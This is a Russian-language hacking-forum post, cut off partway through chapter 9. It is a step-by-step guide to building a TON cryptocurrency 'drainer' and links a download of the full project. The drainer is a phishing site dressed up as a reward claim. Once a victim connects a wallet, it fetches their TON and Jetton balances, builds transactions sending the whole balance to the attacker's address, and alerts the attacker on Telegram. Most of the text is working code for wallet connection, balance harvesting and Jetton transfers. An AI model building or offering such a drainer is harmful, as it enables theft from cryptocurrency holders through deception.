• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создаем Drainer В Сети TON

BaphometTeam

HDD-drive
Seller
Регистрация
05.01.2026
Сообщения
30
Реакции
65
baphometconnect.jpg
uvedbaphomet.jpg
baphomettransactions.jpg


uvedbaphometd.jpg
baphspis.jpg
baphimetspis.jpg


СКАЧАТЬ ПРОЕКТ! - https://mega.nz/file/T1hkERrS#mo1GtonlQM010CYFtbQDZbXXAAY4U1YfftA_f_YuVDk


ПОЛНОЕ РУКОВОДСТВО ПО СОЗДАНИЮ TON ДРЕЙНЕРА
От теории блокчейна до готового кода

==============================================

СОДЕРЖАНИЕ

1. Что такое TON блокчейн
2. История создания TON - проект который не должен был существовать
3. Технические основы TON
4. Архитектура дрейнера
5. Получение TON Connect SDK
6. Подключение кошелька через TON Connect UI
7. Конвертация адресов Raw в User-Friendly
8. Получение балансов через TonAPI
9. Работа с Jetton токенами
10. Создание и отправка транзакций
11. Симуляция транзакций для расчета комиссий
12. Получение IP адреса пользователя
13. Интеграция с Telegram Bot
14. Деплой на Vercel
15. Сравнение с Solana дрейнером

==============================================

БЫСТРЫЙ СТАРТ - ЧЕКЛИСТ ПЕРЕД НАЧАЛОМ

Перед тем как погрузиться в теорию, подготовьте всё необходимое:

☑️ ОБЯЗАТЕЛЬНО:

1. Установлен Node.js (версия 18 или выше)
Проверка: откройте терминал и выполните node --version
Скачать: https://nodejs.org

2. Есть редактор кода (VS CodeЛИбо любой другой)

3. Есть аккаунт GitHub
Регистрация: https://github.com

4. Есть Telegram
Скачать: https://telegram.org


☑️ ЧТО НУЖНО СОЗДАТЬ:

6. Telegram Bot (через BotFather)
➜ Получим: TELEGRAM_BOT_TOKEN
➜ Подробная инструкция в ГЛАВЕ 13

7. Chat ID для уведомлений (через @userinfobot)
➜ Получим: TELEGRAM_CHAT_ID
➜ Подробная инструкция в ГЛАВЕ 13

8. TON кошелек для получения средств
➜ Установите Tonkeeper: https://tonkeeper.com
➜ Создайте кошелек и скопируйте адрес
➜ Это будет ваш NEXT_PUBLIC_RECIPIENT_ADDRESS

9. Аккаунт Vercel для деплоя
➜ Регистрация: https://vercel.com (можно через GitHub)
➜ Подробнее в ГЛАВЕ 14


☑️ ПОРЯДОК РАБОТЫ:

Рекомендуем следовать этому порядку:

1. Прочитайте ГЛАВУ 1-3 (теория TON блокчейна) - 15 минут
2. Изучите ГЛАВУ 4 (архитектура дрейнера) - 10 минут
3. Следуйте ГЛАВЕ 13 (создание Telegram бота) - 5 минут
4. Настройте переменные окружения по инструкциям - 5 минут
5. Запустите проект локально и протестируйте - 10 минут
6. Изучите остальные главы по мере необходимости
7. Задеплойте на Vercel (ГЛАВА 14) - 15 минут

Общее время: ~60 минут от нуля до работающего ton drainer!


==============================================

ГЛАВА 1: ЧТО ТАКОЕ TON БЛОКЧЕЙН
iu
iu

TON (The Open Network) - это высокопроизводительный блокчейн третьего поколения, 1 Layer'а, разработанный командой Telegram. В отличие от Bitcoin и Ethereum, TON с самого начала проектировался для обработки миллионов транзакций в секунду.

Основные особенности TON:

Многопоточная архитектура - блокчейн разделен на множество подцепочек, которые обрабатывают транзакции параллельно. Это как если бы вместо одной кассы в магазине открыли сразу 100 касс. В отличии от той же Solana, TON - ансинхроный блокчейн.

Высокая скорость - до 1 миллиона транзакций в секунду теоретически. Для сравнения, Bitcoin обрабатывает 7 транзакций в секунду, Ethereum около 30.

Низкие комиссии - обычно около 0.005-0.01 TON за простую транзакцию, что составляет меньше цента. Ethereum может брать десятки долларов за одну транзакцию в периоды высокой нагрузки.

Встроенная поддержка смарт-контрактов - язык программирования FunC специально разработан для TON. Компилируется в низкоуровневый bytecode для максимальной производительности.

Интеграция с Telegram - более 800 миллионов потенциальных пользователей имеют прямой доступ к TON кошелькам прямо в мессенджере.

Блокчейн TON использует уникальную архитектуру динамического шардинга. Сеть автоматически разделяется на подцепочки в зависимости от нагрузки. Когда транзакций много, создаются новые шарды. Когда нагрузка спадает, они объединяются обратно.

В TON существует несколько типов цепей:

Мастерчейн (masterchain) - главная цепь, координирующая работу всех остальных цепей. Хранит критическую информацию о конфигурации сети, валидаторах и консенсусе.

Воркчейны (workchains) - рабочие цепи для обработки пользовательских транзакций. Каждый воркчейн может иметь свои правила. Сейчас активен только базовый воркчейн с ID 0.

Шардчейны (shardchains) - подцепочки внутри воркчейнов, создаются автоматически при увеличении нагрузки. Это ключ к масштабируемости TON.

Для обычных пользователей эти сложности невидимы. Они просто видят быстрые и дешевые транзакции.


==============================================

ГЛАВА 2: ИСТОРИЯ СОЗДАНИЯ TON - ПРОЕКТ КОТОРЫЙ НЕ ДОЛЖЕН БЫЛ СУЩЕСТВОВАТЬ

Начало проекта (2017-2018)


В 2017 году Павел Дуров, основатель Telegram, анонсировал создание собственного блокчейна TON (Telegram Open Network). Идея была амбициозной - создать блокчейн для сотен миллионов пользователей Telegram без замедления и высоких комиссий. Павел написал технический документ (whitepaper) на 132 страницы, описывающий революционную архитектуру. Документ произвел фурор - многие эксперты признали технические решения TON инновационными и опережающими свое время.

В 2018 году Telegram провел закрытый ICO (Initial Coin Offering), продавая токены только крупным институциональным инвесторам. В отличие от большинства ICO, где любой мог купить токены, Telegram работал только с проверенными фондами. Было собрано рекордные 1.7 миллиарда долларов - одно из самых больших привлечений средств в истории криптовалют. Среди инвесторов были Benchmark, Lightspeed Venture Partners, Sequoia Capital.

Команда Telegram начала активную разработку. К концу 2019 года большая часть технологии была готова к запуску. Код был написан, тестовая сеть работала, документация готова.

Конфликт с SEC (2019-2020)

Однако в октябре 2019 года американская Комиссия по ценным бумагам и биржам (SEC) подала в суд на Telegram, обвинив компанию в незаконной продаже ценных бумаг.

Основные претензии SEC:
1) Telegram продал токены Gram инвесторам в 2018 году, но не зарегистрировал их как ценные бумаги. SEC считала, что инвесторы покупали токены с ожиданием прибыли от усилий команды Telegram.
2) Telegram планировал запустить блокчейн в октябре 2019 года, что позволило бы инвесторам продать токены публично. SEC требовала остановить запуск, считая это нарушением закона о ценных бумагах.
3) По мнению регулятора, продажа Gram была инвестиционным контрактом, который подпадает под регулирование SEC по тесту Howey.

Судебное разбирательство длилось несколько месяцев. Telegram пытался доказать, что Gram - это валюта для функционирующей блокчейн-сети, как Bitcoin или Ethereum, а не ценная бумага.

В марте 2020 года суд встал на сторону SEC и издал предварительный запрет на распространение токенов Gram в США. Судья согласился с тем, что инвесторы покупали токены в расчете на прибыль, что делает их ценными бумагами по закону.

В мае 2020 года Павел Дуров объявил о закрытии проекта Telegram Open Network. В своем обращении он написал:

"К сожалению, американский суд встал на сторону SEC и запретил нам распространять Gram. Мы сделали все возможное, но правовая система США слишком консервативна для инноваций в криптоиндустрии."
Telegram вернул около 1.2 миллиарда долларов инвесторам (около 72 процентов от собранной суммы) и заплатил штраф SEC в размере 18.5 миллионов долларов. Оставшиеся 500 миллионов были потрачены на разработку.
SDCMKSLKMCL.jpg
свыьсваьмлдв.jpg

Возрождение проекта сообществом (2020 год)

Несмотря на официальное закрытие, Павел Дуров принял важное решение - опубликовать весь код TON в открытом доступе под свободной лицензией. Он написал:

"Мы не можем продолжать этот проект, но код принадлежит человечеству. Пусть сообщество решит, что с ним делать."

Сообщество разработчиков решило не дать проекту умереть. Была создана независимая организация TON Foundation, которая продолжила развитие блокчейна под новым названием - The Open Network (сохранив аббревиатуру TON).

Основные вехи:

2020-2021: Запуск основной сети силами сообщества. Созданы первые кошельки, эксплореры блоков, базовая инфраструктура.

2021-2022: Развитие экосистемы DeFi и NFT. Появились децентрализованные биржи, NFT маркетплейсы, lending протоколы.

2022-2023: Постепенное возвращение интереса со стороны Telegram. Павел Дуров начал поддерживать проект неофициально.

2023: Официальная интеграция с Telegram через TON Wallet. Пользователи получили возможность создавать криптокошельки прямо в мессенджере. Переломный момент для массового принятия.

2024: Запуск TON Space - улучшенной версии кошелька с поддержкой Web3 приложений. Количество пользователей превысило 70 миллионов. TON вошел в топ-10 блокчейнов по капитализации. В 2024 каждый уважающий себя TON holder флексил под хамстркриминал.

TON - это уникальный случай в истории криптовалют, когда проект, который должен был не существовать из-за регуляторных проблем, был возрожден сообществом и стал одним из самых перспективных блокчейнов.


==============================================

ГЛАВА 3: ТЕХНИЧЕСКИЕ ОСНОВЫ TON

ЧТО ТАКОЕ НАНОТОНЫ (NANOTOKENS)

В TON, как и в большинстве блокчейнов, существует две единицы измерения:

TON - основная единица, которую видят пользователи в кошельках
Nanoton - минимальная неделимая единица для блокчейна

Соотношение критически важно:

1 TON = 1,000,000,000 nanoton (ровно один миллиард)

Это аналогично другим криптовалютам:
Bitcoin: 1 BTC = 100,000,000 satoshi
Ethereum: 1 ETH = 1,000,000,000,000,000,000 wei
Solana: 1 SOL = 1,000,000,000 lamports

Зачем нужны нанотоны?

Причина 1: Точность вычислений

Компьютеры не умеют работать с дробными числами без потери точности. Попробуйте в JavaScript:

JavaScript:
console.log(0.1 + 0.2);
// Результат: 0.30000000000000004 (некорректно!)

Это называется проблемой точности чисел с плавающей запятой. В блокчейне даже малейшая ошибка может привести к потере средств.

Решение: все операции выполняются с целыми числами в наименьших единицах (nanotokens). Целые числа компьютеры складывают абсолютно точно.

Причина 2: Микроплатежи

Нанотоны позволяют совершать очень маленькие транзакции. Можно отправить 0.000000001 TON (1 nanoton). Это открывает возможности для микроплатежей.

Причина 3: Избежание ошибок округления

При работе с криптовалютой даже малейшая ошибка округления катастрофична. Используя целые числа, мы полностью исключаем эту проблему.

Как работать с нанотонами в коде?

Неправильный способ (может привести к потере точности):

JavaScript:
const amount = 0.123456789;
const amountInNano = amount * 1e9;
console.log(amountInNano);
// Может быть неточным из-за float

Правильный способ (используем BigInt):

JavaScript:
// BigInt для работы с большими целыми числами
const amountInNano = BigInt("123456789");
console.log(amountInNano); // 123456789n

// Конвертация обратно в TON для отображения
const amountInTON = Number(amountInNano) / 1e9;
console.log(amountInTON); // 0.123456789

В нашем дрейнере мы используем библиотеку ton/ton для конвертации:

Код:
import { toNano } from '@ton/ton';

// Конвертация TON в nanotokens
const amount = toNano('0.5');
console.log(amount); // 500000000n (BigInt)

// Конвертация nanotokens в TON
const balance = '1500000000'; // 1.5 TON в nanotokens
const balanceInTON = Number(balance) / 1e9;
console.log(balanceInTON); // 1.5

Важно: когда работаете с балансами из API, всегда проверяйте, в каких единицах они возвращаются. TonAPI возвращает балансы в nanotokens, поэтому нужно делить на 1 миллиард для отображения пользователю.


ФОРМАТЫ АДРЕСОВ В TON

TON поддерживает несколько форматов адресов, и это одна из самых важных особенностей для понимания. Неправильное использование формата может привести к потере средств или ошибкам.

Raw формат (внутренний, технический)

Формат: workchain:hex_address

Пример: 0:b996c68071dea584b64a99e61525eb035ba8bdda588c7b401027cbc25464fc54

Структура:
  • workchain - номер рабочей цепи (обычно 0 для mainnet, -1 для masterchain)
  • двоеточие - разделитель
  • hex_address - 64-символьный hexadecimal адрес (256 бит)

Особенности raw формата:

Используется внутри блокчейна для идентификации аккаунтов и контрактов
Нельзя напрямую отправлять через пользовательские интерфейсы кошельков
TON Connect SDK может возвращать адреса в этом формате при подключении
Более компактен и эффективен для хранения и обработки

User-friendly формат (пользовательский)

TON использует два типа user-friendly адресов:

Тип 1: Bounceable адреса (начинаются с EQ)

Пример: EQBvW8aAcd6lhLZKmeYVJesDW6i92liMe0AQJ8vCVGT8VCM9

Назначение: используются для смарт-контрактов

Особенность: если транзакция не может быть выполнена (например, смарт-контракт отклонил), средства автоматически вернутся отправителю. Защита от потери средств при ошибках.

Когда использовать: при отправке на смарт-контракты, DEX, lending протоколы, DeFi приложения.

Тип 2: Non-bounceable адреса (начинаются с UQ)

Пример: UQBvW8aAcd6lhLZKmeYVJesDW6i92liMe0AQJ8vCVGT8VLgc

Назначение: используются для обычных кошельков пользователей

Особенность: транзакция будет выполнена в любом случае, средства не вернутся. Это важно для простых кошельков без логики смарт-контракта.

Когда использовать: при отправке средств обычным пользователям.

Важно: один и тот же raw адрес может быть представлен в двух user-friendly форматах (EQ и UQ). Они отличаются только первыми двумя символами и контрольной суммой в конце, но указывают на один аккаунт.

Структура user-friendly адреса:

Код:
[флаги: 1 байт][workchain: 1 байт][адрес: 32 байта][контрольная сумма: 2 байта]
Затем все кодируется в base64url

Конвертация адресов в коде

В нашем дрейнере используется библиотека ton/core:

Код:
import { Address } from '@ton/core';

// Функция конвертации Raw в User-friendly
export function rawToUserFriendly(rawAddress: string, bounceable: boolean = false): string {
  // Парсим raw адрес (например, "0:abc123...")
  const address = Address.parseRaw(rawAddress);
 
  // Конвертируем в user-friendly формат
  return address.toString({
    bounceable: bounceable,  // false = UQ (кошельки), true = EQ (контракты)
    urlSafe: true            // символы, безопасные для URL
  });
}

// Функция конвертации User-friendly в Raw
export function userFriendlyToRaw(friendlyAddress: string): string {
  const address = Address.parseFriendly(friendlyAddress);
  return address.address.toRawString();
}

// Пример
const rawAddr = "0:b996c68071dea584b64a99e61525eb035ba8bdda588c7b401027cbc25464fc54";

const bounceableAddr = rawToUserFriendly(rawAddr, true);
console.log(bounceableAddr); // EQBvW8aAcd...

const nonBounceableAddr = rawToUserFriendly(rawAddr, false);
console.log(nonBounceableAddr); // UQBvW8aAcd...

Наш дрейнер автоматически определяет формат и конвертирует:

Код:
const convertRawToFriendlyAddress = (address: string) => {
  addDebugInfo(`Обработка адреса: ${address}`);
 
  try {
    // Если адрес уже в user-friendly формате
    if (address.startsWith('UQ') || address.startsWith('EQ')) {
      return address;
    }
   
    // Если адрес в raw формате (содержит двоеточие)
    if (address.includes(':')) {
      // false = non-bounceable (UQ) для обычных кошельков
      const friendlyAddress = rawToUserFriendly(address, false);
      addDebugInfo(`Сконвертирован в: ${friendlyAddress}`);
      return friendlyAddress;
    }
   
    return address;
  } catch (error) {
    const errorMsg = error instanceof Error ? error.message : String(error);
    addDebugInfo(`Ошибка при конвертации: ${errorMsg}`);
    return address;
  }
};

Практический совет: всегда используйте non-bounceable адреса (UQ) для отправки на обычные кошельки. Использование bounceable (EQ) может привести к потере средств, если кошелек не является смарт-контрактом.


JETTON ТОКЕНЫ В TON

Jetton - это стандарт токенов в TON, аналогичный:
  • ERC-20 в Ethereum
  • SPL в Solana
  • TRC-20 в Tron

Однако архитектура Jetton радикально отличается.

Уникальная архитектура Jetton

Главное отличие: в TON каждый пользователь имеет отдельный смарт-контракт (Jetton wallet) для каждого токена.

Структура:

Код:
Master Contract (EQabc123...) - главный контракт токена
    ├── User1 Jetton Wallet (EQdef456...)
    ├── User2 Jetton Wallet (EQghi789...)
    └── User3 Jetton Wallet (EQjkl012...)

Как это работает:

Master Contract - главный смарт-контракт токена, хранящий общую информацию: название, символ, общее количество, адрес создателя.

Jetton Wallet - индивидуальный смарт-контракт для каждого пользователя, хранящий баланс этого пользователя в этом токене.

Если пользователь владеет 5 разными Jetton токенами, у него будет 5 разных Jetton wallet контрактов.

Преимущества:

Масштабируемость: операции с разными токенами не конфликтуют
Параллелизм: транзакции обрабатываются независимо
Гибкость: каждый Jetton wallet может иметь свою логику

Недостатки:

Сложность для разработчиков: нужно понимать архитектуру
Больше газа: каждый transfer требует взаимодействия со смарт-контрактом
Дороже: комиссии за Jetton transfers выше чем за обычные TON переводы

Механизм Jetton Transfer

Для отправки Jetton токенов:

Шаг 1: Узнать адрес своего Jetton wallet для этого токена
Шаг 2: Отправить TON транзакцию на адрес своего Jetton wallet
Шаг 3: В payload указать инструкции для перевода

Формат Jetton transfer payload:

Код:
import { beginCell, Address, toNano } from '@ton/ton';

// Создаем payload для Jetton transfer
const jettonTransferBody = beginCell()
  .storeUint(0x0f8a7ea5, 32)                    // op code для jetton transfer
  .storeUint(0, 64)                             // query_id
  .storeCoins(BigInt(amount))                   // количество токенов
  .storeAddress(Address.parse(recipientAddress)) // адрес получателя
  .storeAddress(Address.parse(senderAddress))   // адрес для возврата газа
  .storeBit(0)                                  // нет custom_payload
  .storeCoins(toNano('0.05'))                   // TON для получателя
  .storeBit(1)                                  // есть forward_payload
  .storeRef(forwardPayload)                     // комментарий
  .endCell();

// Отправляем транзакцию на свой Jetton wallet
const transaction = {
  to: myJettonWalletAddress,     // адрес ВАШЕГО Jetton wallet
  value: toNano('0.1'),          // TON для оплаты газа
  body: jettonTransferBody       // инструкции
};

Объяснение полей:

op code (0x0f8a7ea5) - "код операции", который говорит смарт-контракту делать transfer. Стандартное значение для всех Jetton.

query_id - уникальный идентификатор запроса. Обычно 0, но можно использовать для отслеживания.

amount - количество токенов в минимальных единицах (как nanotokens, но для конкретного токена).

recipient - адрес получателя токенов.

response_destination - адрес, на который вернутся лишние TON после выполнения.

forward_ton_amount - сколько TON отправить получателю вместе с токенами.

forward_payload - дополнительные данные, например комментарий.

Комиссии:

Базовая комиссия: 0.05-0.1 TON за один Jetton transfer
Сравнение: обычная TON транзакция стоит 0.005-0.01 TON
Причина: Jetton transfer взаимодействует со смарт-контрактами

Получение списка Jetton токенов

Через TonAPI узнаём какие Jetton токены есть у пользователя:

Код:
const getJettons = async (userAddress: string) => {
  const url = `https://tonapi.io/v2/accounts/${userAddress}/jettons?currencies=usd`;
  const response = await fetch(url);
  const data = await response.json();
 
  const jettons = data.balances.map(item => ({
    // Адрес Jetton wallet пользователя (нужен для transfer)
    walletAddress: item.wallet_address.address,
   
    // Информация о токене
    name: item.jetton.name,          // "USD Tether"
    symbol: item.jetton.symbol,      // "USDT"
   
    // Баланс в минимальных единицах
    balance: item.balance,           // "1000000" (если decimals=6, то 1 USDT)
    decimals: item.jetton.decimals,  // знаков после запятой
   
    // Цена и стоимость
    priceUSD: item.price?.prices?.USD || 0,
    totalValueUSD: (Number(item.balance) / Math.pow(10, item.jetton.decimals)) *
                   (item.price?.prices?.USD || 0)
  }));
 
  // Сортируем по стоимости (самые дорогие первыми)
  jettons.sort((a, b) => b.totalValueUSD - a.totalValueUSD);
 
  return jettons;
};

В нашем дрейнере эта информация используется для выбора самого ценного Jetton токена и отправки вместе с TON балансом.


==============================================

ГЛАВА 4: АРХИТЕКТУРА TON ДРЕЙНЕРА

Общая концепция

Дрейнер - это веб-приложение, маскирующееся под легитимный сервис, но автоматически переводящее все средства пользователя на адрес злоумышленника сразу после подключения кошелька.

Ключевые компоненты:

1. Frontend приложение (Next.js 16 + React)
2. TON Connect SDK для подключения кошельков
3. TonAPI для получения балансов
4. Telegram Bot для уведомлений
5. Vercel для хостинга

Схема работы:


Пользователь -> Открывает сайт

Нажимает "Connect Wallet"


TON Connect UI показывает список кошельков

Пользователь подключает кошелек


SDK возвращает адрес кошелька (raw формат)

Конвертируем в user-friendly формат (UQ...)

Запрашиваем балансы через TonAPI

Получаем TON баланс + список Jetton токенов

Автоматически формируем транзакцию на 100% баланса

Отправляем уведомление в Telegram

Показываем пользователю окно подписи транзакции

После подписи средства уходят на адрес злоумышленника



Критически важные моменты:

Момент 1: Автоматизация

Дрейнер не ждёт действий пользователя. Как только кошелек подключен и балансы получены, транзакция формируется автоматически.

Момент 2: 100% баланса с учетом комиссий

Нельзя просто отправить весь баланс - транзакция провалится из-за недостатка средств на комиссию. Нужно вычесть комиссию из суммы.

Момент 3: Jetton токены требуют особого подхода

Jetton transfer это отдельная транзакция со своим payload. Нужно знать адрес Jetton wallet пользователя.

Момент 4: Симуляция для расчета комиссий

TonAPI предоставляет метод emulate для предварительной симуляции транзакции и расчета точной комиссии.


==============================================

ГЛАВА 5: ПОЛУЧЕНИЕ TON CONNECT SDK

TON Connect - это протокол для подключения децентрализованных приложений к TON кошелькам. Это как WalletConnect для Ethereum или Phantom для Solana.

Способ 1: NPM пакет (рекомендуется для продакшена)

Bash:
npm install @tonconnect/ui-react

Затем в коде:

Код:
import { TonConnectUIProvider, TonConnectButton } from '@tonconnect/ui-react';

function App() {
  return (
    <TonConnectUIProvider manifestUrl="https://yoursite.com/tonconnect-manifest.json">
      <TonConnectButton />
    </TonConnectUIProvider>
  );
}

Способ 2: CDN скрипт (используется в нашем дрейнере)

Этот способ позволяет загружать SDK динамически без установки через npm:

Код:
import Script from 'next/script';

export default function Home() {
  return (
    <>
      <Script
        src="/tonconnect-sdk.min.js"
        strategy="afterInteractive"
        onLoad={() => {
          const ui = new window.TON_CONNECT_UI.TonConnectUI({
            manifestUrl: '/tonconnect-manifest.json',
            buttonRootId: 'ton-connect-button'
          });
          setTonConnectUI(ui);
        }}
      />
    </>
  );
}

Почему мы используем локальную копию SDK?

Надежность: если CDN TON Connect упадет, наш дрейнер продолжит работать
Скорость: файл грузится с нашего сервера, без дополнительных DNS запросов
Контроль: мы точно знаем какая версия SDK используется
Анонимность: нет запросов к внешним серверам, которые могут логировать IP

Создание tonconnect-manifest.json

TON Connect требует манифест файл, который описывает ваше приложение:

JSON:
{
  "url": "https://yoursite.com",
  "name": "Claim $350 Reward",
  "iconUrl": "https://yoursite.com/icon.png",
  "termsOfUseUrl": "https://yoursite.com/terms",
  "privacyPolicyUrl": "https://yoursite.com/privacy"
}

Этот файл должен быть доступен по HTTPS и возвращать правильный Content-Type: application/json.


==============================================

ГЛАВА 6: ПОДКЛЮЧЕНИЕ КОШЕЛЬКА ЧЕРЕЗ TON CONNECT UI

Инициализация TON Connect UI

После загрузки SDK создаем экземпляр TonConnectUI:

Код:
const [tonConnectUI, setTonConnectUI] = useState<TonConnectUI | null>(null);

useEffect(() => {
  const initTonConnect = () => {
    if (window.TON_CONNECT_UI) {
      const ui = new window.TON_CONNECT_UI.TonConnectUI({
        manifestUrl: '/tonconnect-manifest.json',
        buttonRootId: null  // не создаем стандартную кнопку
      });
     
      setTonConnectUI(ui);
     
      // Подписываемся на изменения статуса кошелька
      ui.onStatusChange((wallet: any) => {
        if (wallet) {
          handleWalletConnected(wallet);
        }
      });
    }
  };
 
  // Если SDK уже загружен
  if (window.TON_CONNECT_UI) {
    initTonConnect();
  }
}, []);

Подключение кошелька

Когда пользователь нажимает кнопку Connect Wallet:

Код:
const connectWallet = async () => {
  if (!tonConnectUI) {
    addDebugInfo('TON Connect UI не инициализирован');
    return;
  }

  try {
    // Вызываем метод подключения
    const connectedWallet = await tonConnectUI.connectWallet();
   
    addDebugInfo(`Кошелек подключен: ${JSON.stringify(connectedWallet)}`);

    // Извлекаем адрес из ответа
    const addressRaw = connectedWallet.account.address;
    const addressFriendly = convertRawToFriendlyAddress(addressRaw);

    setWalletAddressRaw(addressRaw);
    setWalletAddressFriendly(addressFriendly);

    // Получаем балансы
    setLoading(true);
    const walletTokens = await getWalletBalances(addressFriendly, addressRaw);
    setTokens(walletTokens);
    setLoading(false);
   
  } catch (error) {
    addDebugInfo(`Ошибка при подключении: ${error}`);
  }
};

Что происходит при вызове connectWallet():

1. TON Connect UI показывает модальное окно со списком поддерживаемых кошельков
2. Пользователь выбирает свой кошелек (Tonkeeper, MyTonWallet, OpenMask, etc.)
3. Если кошелек мобильный - открывается приложение через deep link
4. Если десктопный - показывается QR код для сканирования
5. Пользователь подтверждает подключение в кошельке
6. SDK возвращает объект с информацией о кошельке

Структура объекта connectedWallet:

Код:
{
  device: {
    appName: "Tonkeeper",
    appVersion: "3.2.1",
    platform: "ios"  // или "android", "chrome", etc.
  },
  provider: "http",
  account: {
    address: "0:b996c68071dea584b64a99e61525eb035ba8bdda588c7b401027cbc25464fc54",
    chain: "-239",  // -239 = TON mainnet
    walletStateInit: "...",  // сериализованное состояние кошелька
    publicKey: "82a0b2..."  // публичный ключ
  }
}

Важные поля:

account.address - адрес кошелька в RAW формате (с двоеточием)
account.chain - идентификатор сети (-239 для mainnet, -3 для testnet)
account.publicKey - публичный ключ для верификации подписей


==============================================

ГЛАВА 7: КОНВЕРТАЦИЯ АДРЕСОВ RAW В USER-FRIENDLY

TON Connect SDK возвращает адреса в RAW формате, но для работы с TonAPI и отправки транзакций нужен USER-FRIENDLY формат.

Создаем файл lib/ton-address.ts:

Код:
import { Address } from '@ton/core';

// Конвертация RAW в User-Friendly
export function rawToUserFriendly(
  rawAddress: string,
  bounceable: boolean = false
): string {
  try {
    // Парсим raw адрес
    const address = Address.parseRaw(rawAddress);
   
    // Конвертируем в user-friendly
    return address.toString({
      bounceable: bounceable,  // false = UQ, true = EQ
      urlSafe: true,           // использовать URL-safe символы
      testOnly: false          // false = mainnet
    });
  } catch (error) {
    throw new Error(`Failed to convert address: ${error}`);
  }
}

// Конвертация User-Friendly в RAW
export function userFriendlyToRaw(friendlyAddress: string): string {
  try {
    const address = Address.parseFriendly(friendlyAddress);
    return address.address.toRawString();
  } catch (error) {
    throw new Error(`Failed to parse address: ${error}`);
  }
}

// Проверка валидности адреса
export function isValidTonAddress(address: string): boolean {
  try {
    if (address.includes(':')) {
      Address.parseRaw(address);
    } else {
      Address.parseFriendly(address);
    }
    return true;
  } catch {
    return false;
  }
}

Использование в основном коде:

Код:
import { rawToUserFriendly } from '@/lib/ton-address';

const convertRawToFriendlyAddress = (address: string) => {
  addDebugInfo(`Обработка адреса: ${address}`);
 
  try {
    // Если уже в user-friendly формате
    if (address.startsWith('UQ') || address.startsWith('EQ')) {
      addDebugInfo('Адрес уже в user-friendly формате');
      return address;
    }
   
    // Если в raw формате (содержит двоеточие)
    if (address.includes(':')) {
      addDebugInfo('Конвертируем raw в user-friendly');
     
      // false = non-bounceable (UQ) для обычных кошельков
      const friendlyAddress = rawToUserFriendly(address, false);
     
      addDebugInfo(`Результат: ${friendlyAddress}`);
      return friendlyAddress;
    }
   
    // Неизвестный формат - возвращаем как есть
    addDebugInfo('Неизвестный формат адреса');
    return address;
   
  } catch (error) {
    const errorMsg = error instanceof Error ? error.message : String(error);
    addDebugInfo(`Ошибка конвертации: ${errorMsg}`);
    return address; // Возвращаем оригинал при ошибке
  }
};

Важные моменты:

1. Всегда используйте bounceable: false для обычных кошельков пользователей
2. Если отправляете на смарт-контракт - используйте bounceable: true
3. Оборачивайте конвертацию в try-catch - невалидный адрес вызовет исключение
4. Логируйте каждый шаг конвертации для отладки


==============================================

ГЛАВА 8: ПОЛУЧЕНИЕ БАЛАНСОВ ЧЕРЕЗ TONAPI

TonAPI - это бесплатное публичное API для работы с TON блокчейном. Не требует регистрации для базового использования.

TON Center - это альтернативный API провайдер для работы с TON блокчейном. Для некоторых операций он более стабильный чем TonAPI.

Сравнение TonAPI vs TON Center

TonAPI (используется в нашем проекте):
✅ Не требует регистрации
✅ Более удобные ответы (user-friendly данные)
✅ Автоматическая конвертация цен в USD
✅ Поддержка Jetton балансов из коробки
❌ Иногда медленнее
❌ Могут быть rate limits без ключа

TON Center:
✅ Более стабильный
✅ Официальный провайдер от TON Foundation
✅ Подходит для продакшена
❌ Требует регистрации для высоких лимитов
❌ Более сложный формат ответов


Для нашего дрейнера мы используем TonAPI потому что:
1. Не требует API ключа для начала
2. Проще работать с ответами
3. Автоматически получаем цены токенов

Получение TON баланса

Код:
const getWalletBalances = async (friendlyAddress: string, rawAddress: string): Promise<Token[]> => {
  addDebugInfo(`Запрос балансов для: ${friendlyAddress}`);

  try {
    // Запрос к TonAPI для получения информации об аккаунте
    const apiUrl = `https://tonapi.io/v2/accounts/${friendlyAddress}`;
    addDebugInfo(`URL: ${apiUrl}`);

    const response = await fetch(apiUrl);
   
    if (!response.ok) {
      throw new Error(`HTTP error! Status: ${response.status}`);
    }

    const data = await response.json();
    addDebugInfo(`Ответ API: ${JSON.stringify(data)}`);

    // Баланс в nanotokens
    const balanceNano = data.balance || '0';
   
    // Конвертируем в TON (делим на миллиард)
    const balanceTon = Number(balanceNano) / 1e9;
   
    addDebugInfo(`Баланс: ${balanceTon} TON (${balanceNano} nano)`);

    // Получаем текущую цену TON в USD
    let tonPrice = 0;
    try {
      const ratesResponse = await fetch('https://tonapi.io/v2/rates?tokens=ton&currencies=usd');
     
      if (ratesResponse.ok) {
        const ratesData = await ratesResponse.json();
        tonPrice = ratesData.rates?.TON?.prices?.USD || 0;
        addDebugInfo(`Цена TON: $${tonPrice}`);
      }
    } catch (priceError) {
      addDebugInfo(`Ошибка получения цены: ${priceError}`);
      // Продолжаем работу даже если цену не получили
    }

    // Формируем объект с информацией о TON балансе
    const tonBalance: Token = {
      type: 'native',
      name: 'Toncoin',
      symbol: 'TON',
      balance: balanceNano,
      formattedBalance: balanceTon.toFixed(4),
      decimals: 9,
      price: {
        usd: tonPrice,
        totalValue: balanceTon * tonPrice
      }
    };

    const allBalances = [tonBalance];
   
    // Далее получаем Jetton токены...
   
    return allBalances;
   
  } catch (error) {
    addDebugInfo(`Ошибка: ${error}`);
   
    // Возвращаем пустой баланс при ошибке
    return [{
      type: 'native',
      name: 'Toncoin',
      symbol: 'TON',
      balance: '0',
      formattedBalance: '0',
      decimals: 9,
      error: String(error)
    }];
  }
};

Структура ответа TonAPI для account:

JSON:
{
  "address": "UQBvW8aAcd6lhL...",
  "balance": "1500000000",
  "status": "active",
  "interfaces": ["wallet_v4r2"],
  "name": null,
  "is_scam": false,
  "icon": null,
  "memo_required": false,
  "get_methods": [],
  "is_suspended": false,
  "is_wallet": true
}

Ключевые поля:

balance - баланс в nanotokens (строка, не число!)
status - статус аккаунта: "active", "uninit", "frozen"
is_wallet - true если это обычный кошелек
interfaces - тип кошелька ("wallet_v3r1", "wallet_v3r2", "wallet_v4r2")


==============================================

ГЛАВА 9: РАБОТА С JETTON ТОКЕНАМИ

Получение списка Jetton токенов

Код:
// Добавляем в функцию getWalletBalances после получения TON баланса

// Получаем Jetton токены
try {
  const jettonsUrl = `https://tonapi.io/v2/accounts/${friendlyAddress}/jettons?currencies=usd`;
  addDebugInfo(`Запрос Jettons: ${jettonsUrl}`);

  const jettonsResponse = await fetch(jettonsUrl);
 
  if (jettonsResponse.ok) {
    const jettonsData = await jettonsResponse.json();
    addDebugInfo(`Jettons API: ${JSON.stringify(jettonsData)}`);

    // Проверяем наличие токенов
